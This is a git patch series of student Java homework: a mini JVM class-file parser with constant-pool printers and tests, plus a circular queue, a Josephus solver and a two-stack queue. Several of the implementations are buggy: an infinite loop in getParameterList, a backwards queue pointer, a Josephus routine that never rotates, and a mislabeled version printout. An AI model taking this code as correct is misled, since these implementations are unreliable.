+            bis = new BufferedInputStream(new FileInputStream(f));
+
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+
+            byte[] buffer = new byte[1024];
+            int length = -1;
+
+            while ((length = bis.read(buffer)) != -1) {
+                bos.write(buffer, 0, length);
+            }
+
+            byte[] codes = bos.toByteArray();
+
+            return codes;
+
+        } catch (IOException e) {
+            e.printStackTrace();
+
+        } finally {
+            if (bis != null) {
+                try {
+                    bis.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return null;
+
+    }
+
+
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task8/jvm/loader/ClassFileParser.java b/group15/1507_977996067/src/task8/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..08e8ca3bfb
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/loader/ClassFileParser.java
@@ -0,0 +1,112 @@
+package task8.jvm.loader;
+
+import task8.jvm.clz.AccessFlag;
+import task8.jvm.clz.ClassFile;
+import task8.jvm.clz.ClassIndex;
+import task8.jvm.constant.*;
+import task8.jvm.field.Field;
+import task8.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFileParser {
+
+    private ConstantPool constantPool;
+
+    public ClassFile parse(byte[] codes) {
+        ClassFile classFile = new ClassFile();
+        ByteCodeIterator iterator = new ByteCodeIterator(codes);
+        System.out.println(iterator.getMagicNumber());
+
+        classFile.setMinorVersion(iterator.next2Bytes());
+        classFile.setMajorVersion(iterator.next2Bytes());
+
+        parseConstantPool(iterator);
+        classFile.setConstPool(constantPool);
+        classFile.setAccessFlag(parseAccessFlag(iterator));
+        classFile.setClassIndex(parseClassIndex(iterator));//task5 over
+
+        iterator.next2Bytes(); // interface
+
+        classFile.setFields(parseFileds(iterator));
+        classFile.setMethods(parseMethods(classFile, iterator));//task6 over
+        return classFile;
+    }
+
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+        return new AccessFlag(iter.next2Bytes());
+    }
+
+    private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+        ClassIndex clazIndex = new ClassIndex();
+        clazIndex.setThisClassIndex(iter.next2Bytes());
+        clazIndex.setSuperClassIndex(iter.next2Bytes());
+        return clazIndex;
+    }
+
+    private void parseConstantPool(ByteCodeIterator iter) {
+        int poolCount = iter.next2Bytes();
+        ConstantPool pool = new ConstantPool(poolCount);
+        for (int i = 0; i < poolCount; i++) {
+            int tag = iter.nextFlag();
+            if (tag == ConstantInfo.UTF8_INFO) { //utf-8
+                int length = iter.next2Bytes();
+                byte[] bytes = iter.getBytes(length);
+                UTF8Info utf8Info = new UTF8Info(pool);
+                utf8Info.setValue(new String(bytes));
+                utf8Info.setLength(length);
+                pool.addConstantInfo(utf8Info);
+            } else if (tag == ConstantInfo.STRING_INFO) {
+                StringInfo stringInfo = new StringInfo(pool);
+                stringInfo.setIndex(iter.next2Bytes());
+                pool.addConstantInfo(stringInfo);
+            } else if (tag == ConstantInfo.CLASS_INFO) {
+                ClassInfo classInfo = new ClassInfo(pool);
+                classInfo.setUtf8Index(iter.next2Bytes());
+                pool.addConstantInfo(classInfo);
+            } else if (tag == ConstantInfo.FIELD_INFO) {
+                FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+                fieldRefInfo.setClassInfoIndex(iter.next2Bytes());
+                fieldRefInfo.setNameAndTypeIndex(iter.next2Bytes());
+                pool.addConstantInfo(fieldRefInfo);
+            } else if (tag == ConstantInfo.METHOD_INFO) {
+                MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+                methodRefInfo.setClassInfoIndex(iter.next2Bytes());
+                methodRefInfo.setNameAndTypeIndex(iter.next2Bytes());
+                pool.addConstantInfo(methodRefInfo);
+            } else if (tag == ConstantInfo.NAME_AND_TYPE_INFO) {
+                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+                nameAndTypeInfo.setIndex1(iter.next2Bytes());
+                nameAndTypeInfo.setIndex2(iter.next2Bytes());
+                pool.addConstantInfo(nameAndTypeInfo);
+            }
+        }
+        this.constantPool = pool;
+    }
+
+    private List<Field> parseFileds(ByteCodeIterator iter) {
+        int fieldCount = iter.next2Bytes();
+
+        List<Field> fieldList = new ArrayList<>(fieldCount);
+
+        for (int i = 0; i < fieldCount; i++) {
+            Field f = Field.parse(constantPool, iter);
+            fieldList.add(f);
+        }
+        return fieldList;
+    }
+
+    private List<Method> parseMethods(ClassFile classFile, ByteCodeIterator iter) {
+        int methodCount = iter.next2Bytes();
+
+        List<Method> methodList = new ArrayList<>(methodCount);
+
+        for (int i = 0; i < methodCount; i++) {
+            Method m = Method.parse(classFile, iter);
+            methodList.add(m);
+        }
+        return methodList;
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/method/Method.java b/group15/1507_977996067/src/task8/jvm/method/Method.java
new file mode 100644
index 0000000000..049c6d6d3e
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/method/Method.java
@@ -0,0 +1,107 @@
+package task8.jvm.method;
+
+import task8.jvm.attr.AttributeInfo;
+import task8.jvm.attr.CodeAttr;
+import task8.jvm.clz.ClassFile;
+import task8.jvm.cmd.ByteCodeCommand;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.constant.UTF8Info;
+import task8.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class Method {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+
+    private ClassFile clzFile;
+
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+        this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+
+    public String toString() {
+
+        ConstantPool pool = this.clzFile.getConstantPool();
+        StringBuilder buffer = new StringBuilder();
+
+        String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+        buffer.append(name).append(":").append(desc).append("\n");
+
+        buffer.append(this.codeAttr.toString(pool));
+
+        return buffer.toString();
+    }
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+        int accessFlag = iter.next2Bytes();
+        int nameIndex = iter.next2Bytes();
+        int descIndex = iter.next2Bytes();
+        int attribCount = iter.next2Bytes();
+
+
+        Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
+
+        for (int j = 1; j <= attribCount; j++) {
+
+            int attrNameIndex = iter.next2Bytes();
+            String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+            iter.back(2);
+
+            if (AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
+                CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+                m.setCodeAttr(codeAttr);
+            } else {
+                throw new RuntimeException("only CODE attribute is implemented , please implement the " + attrName);
+            }
+        }
+        return m;
+    }
+
+    public List<String> getParameterList() {
+        String paramType = ((UTF8Info) getClzFile().getConstantPool().getConstantInfo(getDescriptorIndex())).getValue();
+        String param = paramType.substring(paramType.indexOf("("), paramType.lastIndexOf(")"));
+        List<String> paramList = new ArrayList<>();
+        while (!"".equalsIgnoreCase(param)) {
+            String params = param.substring(0, param.indexOf("L"));
+            paramList.add(params);
+        }
+        return paramList;
+    }
+
+    public ByteCodeCommand[] getCmds() {
+        return new ByteCodeCommand[0];
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/print/ClassFilePrinter.java b/group15/1507_977996067/src/task8/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..3e564b3be7
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,44 @@
+package task8.jvm.print;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+    ClassFile clzFile = null;
+
+    public ClassFilePrinter(ClassFile clzFile) {
+        this.clzFile = clzFile;
+    }
+
+    public void print() {
+
+        if (clzFile.getAccessFlag().isPublicClass()) {
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:" + clzFile.getClassName());
+
+        System.out.println("Super Class Name:" + clzFile.getSuperClassName());
+
+        System.out.println("minor version:" + clzFile.getMinorVersion());
+
+        System.out.println("major version:" + clzFile.getMinorVersion());
+
+        ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+        cnstPoolPrinter.print();
+
+
+    }
+
+    public static void main(String[] args) {
+        String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path);
+        String className = "com.coderising.jvm.test.EmployeeV1";
+
+        ClassFile clzFile = loader.loadClass(className);
+
+        ClassFilePrinter printer = new ClassFilePrinter(clzFile);
+
+        printer.print();
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/print/ConstantInfoVisitor.java b/group15/1507_977996067/src/task8/jvm/print/ConstantInfoVisitor.java
new file mode 100644
index 0000000000..00995c04d3
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/print/ConstantInfoVisitor.java
@@ -0,0 +1,18 @@
+package task8.jvm.print;
+
+import task8.jvm.constant.*;
+
+public interface ConstantInfoVisitor {
+
+    void visitClassInfo(ClassInfo classInfo);
+
+    void visitFieldRefInfo(FieldRefInfo fieldRefInfo);
+
+    void visitMethodRefInfo(MethodRefInfo methodRefInfo);
+
+    void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo);
+
+    void visitStringInfo(StringInfo stringInfo);
+
+    void visitUtf8Info(UTF8Info utf8Info);
+}
diff --git a/group15/1507_977996067/src/task8/jvm/print/ConstantInfoVisitorImpl.java b/group15/1507_977996067/src/task8/jvm/print/ConstantInfoVisitorImpl.java
new file mode 100644
index 0000000000..57938f9cff
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/print/ConstantInfoVisitorImpl.java
@@ -0,0 +1,51 @@
+package task8.jvm.print;
+
+import task8.jvm.constant.*;
+
+public class ConstantInfoVisitorImpl implements ConstantInfoVisitor {
+    @Override
+    public void visitClassInfo(ClassInfo classInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("Class\t#").append(classInfo.getUtf8Index()).append("\t").append(classInfo.getClassName());
+        System.out.println(sb);
+    }
+
+    @Override
+    public void visitFieldRefInfo(FieldRefInfo fieldRefInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("FieldRef\t#").append(fieldRefInfo.getClassInfoIndex()).append("\t").append(fieldRefInfo.getFieldName());
+        System.out.println(sb);
+
+    }
+
+    @Override
+    public void visitMethodRefInfo(MethodRefInfo methodRefInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("MethodRef\t#").append(methodRefInfo.getMethodName());
+        System.out.println(sb);
+    }
+
+    @Override
+    public void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("NameAndType\t#").append(nameAndTypeInfo.getName()).append("\t")
+                .append(nameAndTypeInfo.getIndex1()).append("\t")
+                .append(nameAndTypeInfo.getIndex2()).append("\t")
+                .append(nameAndTypeInfo.getTypeInfo());
+        System.out.println(sb);
+    }
+
+    @Override
+    public void visitStringInfo(StringInfo stringInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("String\t#").append(stringInfo.getIndex());
+        System.out.println(sb);
+    }
+
+    @Override
+    public void visitUtf8Info(UTF8Info utf8Info) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("UTF8\t#").append(utf8Info.getValue());
+        System.out.println(sb);
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/print/ConstantPoolPrinter.java b/group15/1507_977996067/src/task8/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..9d3437d40b
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,26 @@
+package task8.jvm.print;
+
+import task8.jvm.constant.ConstantInfo;
+import task8.jvm.constant.ConstantPool;
+
+public class ConstantPoolPrinter {
+
+    private ConstantPool pool;
+
+    ConstantPoolPrinter(ConstantPool pool) {
+        this.pool = pool;
+    }
+
+    public void print() {
+
+        System.out.println("Constant Pool:");
+
+        ConstantInfoVisitor visitor = new ConstantInfoVisitorImpl();
+        int size = (int) pool.getSize();
+        for (int i = 0; i < size; i++) {
+            System.out.print("#" + i + "= ");
+            ConstantInfo constantInfo = pool.getConstantInfo(i);
+            constantInfo.accept(visitor);
+        }
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/test/ClassFileloaderTest.java b/group15/1507_977996067/src/task8/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..dc7a01b23f
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,191 @@
+package task8.jvm.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import task8.jvm.clz.ClassFile;
+import task8.jvm.clz.ClassIndex;
+import task8.jvm.constant.*;
+import task8.jvm.loader.ClassFileLoader;
+
+public class ClassFileloaderTest {
+
+
+    private static final String FULL_QUALIFIED_CLASS_NAME = "EmployeeV1";
+
+    static String path1 = "E:\\Idea\\coding2017\\group15\\1507_977996067\\out\\task5\\jvm\\test";
+    static String path2 = "C:\temp";
+
+    static ClassFile clzFile = null;
+    static {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "EmployeeV1";
+
+        clzFile = loader.loadClass(className);
+//        clzFile.print();
+    }
+
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testClassPath() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+
+        String clzPath = loader.getClassPath();
+
+        Assert.assertEquals(path1 + ";" + path2, clzPath);
+
+    }
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "EmployeeV1";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1038, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber() {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
+
+        String actualValue = this.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", actualValue);
+    }
+
+
+    private String byteToHexString(byte[] codes) {
+        StringBuffer buffer = new StringBuffer();
+        for (int i = 0; i < codes.length; i++) {
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if (strHex.length() < 2) {
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+    /**
+     * ----------------------------------------------------------------------
+     */
+
+
+    @Test
+    public void testVersion() {
+
+        Assert.assertEquals(0, clzFile.getMinorVersion());
+        Assert.assertEquals(52, clzFile.getMajorVersion());
+
+    }
+
+    @Test
+    public void testConstantPool() {
+
+
+        ConstantPool pool = clzFile.getConstantPool();
+
+        Assert.assertEquals(53, pool.getSize());
+
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+            Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+        }
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+            Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+        }
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+            Assert.assertEquals("name", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(6);
+            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(7);
+            Assert.assertEquals("age", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(8);
+            Assert.assertEquals("I", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(9);
+            Assert.assertEquals("<init>", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(10);
+            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(11);
+            Assert.assertEquals("Code", utf8Info.getValue());
+        }
+
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
+            Assert.assertEquals(3, methodRef.getClassInfoIndex());
+            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+            Assert.assertEquals(9, nameAndType.getIndex1());
+            Assert.assertEquals(14, nameAndType.getIndex2());
+        }
+        //抽查几个吧
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
+            Assert.assertEquals(1, methodRef.getClassInfoIndex());
+            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+        }
+    }
+
+    @Test
+    public void testClassIndex() {
+
+        ClassIndex clzIndex = clzFile.getClzIndex();
+        ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+        ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+
+        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/test/EmployeeV1.java b/group15/1507_977996067/src/task8/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..f3a0755de5
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/test/EmployeeV1.java
@@ -0,0 +1,29 @@
+package task8.jvm.test;
+
+public class EmployeeV1 {
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
+    }
+
+    public static void main(String[] args) {
+        EmployeeV1 p = new EmployeeV1("Andy", 29);
+        p.sayHello();
+
+    }
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task8/jvm/util/Util.java b/group15/1507_977996067/src/task8/jvm/util/Util.java
new file mode 100644
index 0000000000..6b13997e4b
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/util/Util.java
@@ -0,0 +1,23 @@
+package task8.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16);
+    }
+
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group15/1507_977996067/src/task8/queue/CircleQueue.java b/group15/1507_977996067/src/task8/queue/CircleQueue.java
new file mode 100644
index 0000000000..2c7f41745c
--- /dev/null
+++ b/group15/1507_977996067/src/task8/queue/CircleQueue.java
@@ -0,0 +1,54 @@
+package task8.queue;
+
+@SuppressWarnings("unchecked")
+public class CircleQueue<E> {
+
+    private final static int DEFAULT_SIZE = 10;
+
+    //用数组来保存循环队列的元素
+    private Object[] elementData;
+
+    private int size;
+    //队头 读开始的位置
+    private int front = 0;
+    //队尾 写开始的位置
+    private int rear = 0;
+
+    public CircleQueue() {
+        elementData = new Object[DEFAULT_SIZE];
+        size = DEFAULT_SIZE;
+    }
+
+    public CircleQueue(int size) {
+        this.size = size;
+        elementData = new Object[size];
+    }
+
+    public boolean isEmpty() {
+        return front == rear;
+    }
+
+    public int size() {
+        if (isEmpty()) {
+            return 0;
+        }
+        return rear > front ? rear - front : size - (front - rear);
+    }
+
+
+    public void enQueue(E data) {
+        int rearPosition = rear;
+        elementData[rearPosition++] = data;
+        rear = rearPosition % size;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+            return null;
+        }
+        int frontPosition = front;
+        E dataToDeQueue = (E) elementData[frontPosition--];
+        front = frontPosition < 0 ? frontPosition + size : frontPosition;
+        return dataToDeQueue;
+    }
+}
diff --git a/group15/1507_977996067/src/task8/queue/Josephus.java b/group15/1507_977996067/src/task8/queue/Josephus.java
new file mode 100644
index 0000000000..1a01cb0018
--- /dev/null
+++ b/group15/1507_977996067/src/task8/queue/Josephus.java
@@ -0,0 +1,28 @@
+package task8.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 约瑟夫环
+ */
+public class Josephus {
+
+    public static List<Integer> execute(int n, int m) {
+
+        CircleQueue<Integer> queue = new CircleQueue<>(n);
+        for (int i = 0; i < n; i++) {
+            queue.enQueue(i);
+        }
+
+        List<Integer> resultList = new ArrayList<>(n);
+        int flag = 0;
+        while (!queue.isEmpty()) {
+            flag++;
+            if (flag % m == 0) {
+                resultList.add(queue.deQueue());
+            }
+        }
+        return resultList;
+    }
+}
diff --git a/group15/1507_977996067/src/task8/queue/QueueWithTwoStacks.java b/group15/1507_977996067/src/task8/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..6a67fef0e8
--- /dev/null
+++ b/group15/1507_977996067/src/task8/queue/QueueWithTwoStacks.java
@@ -0,0 +1,41 @@
+package task8.queue;
+
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<>();
+        stack2 = new Stack<>();
+    }
+
+
+    public boolean isEmpty() {
+        return stack1.isEmpty();
+    }
+
+
+    public int size() {
+        return stack1.size();
+    }
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        while (!stack1.isEmpty()) {
+            stack2.push(stack1.pop());
+        }
+        E itemToPop = stack2.pop();
+        while (!stack2.isEmpty()) {
+            stack1.push(stack2.pop());
+        }
+        return itemToPop;
+    }
+}

From e47de6cbfddb7bc6c9c75768c3f41dd0b157c936 Mon Sep 17 00:00:00 2001
From: HuiZhou-Xmu <1814014897@qq.com>
Date: Sun, 30 Apr 2017 17:29:27 +0800
Subject: [PATCH 142/262] =?UTF-8?q?=E7=AC=AC=E4=B8=83=E5=91=A8=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=EF=BC=88javap(=E5=B8=B8=E9=87=8F=E6=B1=A0)=E3=80=81?=
 =?UTF-8?q?=E5=AD=97=E8=8A=82=E7=A0=81=E8=AF=BB=E5=8F=96=E3=80=81=E5=89=8D?=
 =?UTF-8?q?/=E4=B8=AD/=E5=90=8E=E7=BC=80=E8=A1=A8=E8=BE=BE=E5=BC=8F?=
 =?UTF-8?q?=EF=BC=89?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../zhouhui/src/week07/expr/InfixExpr.java    |  66 ++++
 .../src/week07/expr/InfixToPostfix.java       |  34 ++
 .../zhouhui/src/week07/expr/PostfixExpr.java  |  48 +++
 .../zhouhui/src/week07/expr/PrefixExpr.java   |  52 +++
 .../zhouhui/src/week07/expr/Token.java        |  50 +++
 .../zhouhui/src/week07/expr/TokenParser.java  |  57 +++
 .../zhouhui/src/week07/expr/test/AllTest.java |  18 +
 .../src/week07/expr/test/InfixExprTest.java   |  54 +++
 .../week07/expr/test/InfixToPostfixTest.java  |  32 ++
 .../src/week07/expr/test/PostfixExprTest.java |  43 +++
 .../src/week07/expr/test/PrefixExprTest.java  |  47 +++
 .../src/week07/expr/test/TokenParserTest.java |  42 +++
 .../src/week07/jvm/attr/AttributeInfo.java    |  19 +
 .../zhouhui/src/week07/jvm/attr/CodeAttr.java | 116 ++++++
 .../src/week07/jvm/attr/LineNumberTable.java  |  66 ++++
 .../week07/jvm/attr/LocalVariableItem.java    |  39 ++
 .../week07/jvm/attr/LocalVariableTable.java   |  55 +++
 .../src/week07/jvm/attr/StackMapTable.java    |  30 ++
 .../src/week07/jvm/clz/AccessFlag.java        |  25 ++
 .../zhouhui/src/week07/jvm/clz/ClassFile.java | 117 ++++++
 .../src/week07/jvm/clz/ClassIndex.java        |  19 +
 .../zhouhui/src/week07/jvm/cmd/BiPushCmd.java |  23 ++
 .../src/week07/jvm/cmd/ByteCodeCommand.java   | 128 +++++++
 .../src/week07/jvm/cmd/CommandParser.java     | 147 ++++++++
 .../src/week07/jvm/cmd/GetFieldCmd.java       |  22 ++
 .../src/week07/jvm/cmd/GetStaticFieldCmd.java |  23 ++
 .../src/week07/jvm/cmd/InvokeSpecialCmd.java  |  23 ++
 .../src/week07/jvm/cmd/InvokeVirtualCmd.java  |  22 ++
 .../zhouhui/src/week07/jvm/cmd/LdcCmd.java    |  29 ++
 .../src/week07/jvm/cmd/NewObjectCmd.java      |  19 +
 .../src/week07/jvm/cmd/NoOperandCmd.java      |  23 ++
 .../src/week07/jvm/cmd/OneOperandCmd.java     |  27 ++
 .../src/week07/jvm/cmd/PutFieldCmd.java       |  19 +
 .../src/week07/jvm/cmd/TwoOperandCmd.java     |  67 ++++
 .../src/week07/jvm/constant/ClassInfo.java    |  28 ++
 .../src/week07/jvm/constant/ConstantInfo.java |  40 ++
 .../src/week07/jvm/constant/ConstantPool.java |  31 ++
 .../src/week07/jvm/constant/FieldRefInfo.java |  58 +++
 .../week07/jvm/constant/MethodRefInfo.java    |  60 +++
 .../week07/jvm/constant/NameAndTypeInfo.java  |  51 +++
 .../week07/jvm/constant/NullConstantInfo.java |  17 +
 .../src/week07/jvm/constant/StringInfo.java   |  32 ++
 .../src/week07/jvm/constant/UTF8Info.java     |  37 ++
 .../zhouhui/src/week07/jvm/field/Field.java   |  50 +++
 .../week07/jvm/loader/ByteCodeIterator.java   |  57 +++
 .../week07/jvm/loader/ClassFileLoader.java    | 140 +++++++
 .../week07/jvm/loader/ClassFileParser.java    | 176 +++++++++
 .../zhouhui/src/week07/jvm/method/Method.java | 101 +++++
 .../week07/jvm/print/ClassFilePrinter.java    |  51 +++
 .../week07/jvm/print/ConstantPoolPrinter.java | 104 +++++
 .../week07/jvm/test/ClassFileloaderTest.java  | 354 ++++++++++++++++++
 .../src/week07/jvm/test/EmployeeV1.java       |  28 ++
 .../zhouhui/src/week07/jvm/util/Util.java     |  24 ++
 53 files changed, 3040 insertions(+)
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/InfixExpr.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/InfixToPostfix.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/PostfixExpr.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/PrefixExpr.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/Token.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/TokenParser.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/test/AllTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/test/InfixExprTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/test/InfixToPostfixTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/test/PostfixExprTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/test/PrefixExprTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/expr/test/TokenParserTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/attr/AttributeInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/attr/CodeAttr.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/attr/LineNumberTable.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/attr/LocalVariableItem.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/attr/LocalVariableTable.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/attr/StackMapTable.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/clz/AccessFlag.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/clz/ClassFile.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/clz/ClassIndex.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/BiPushCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/ByteCodeCommand.java
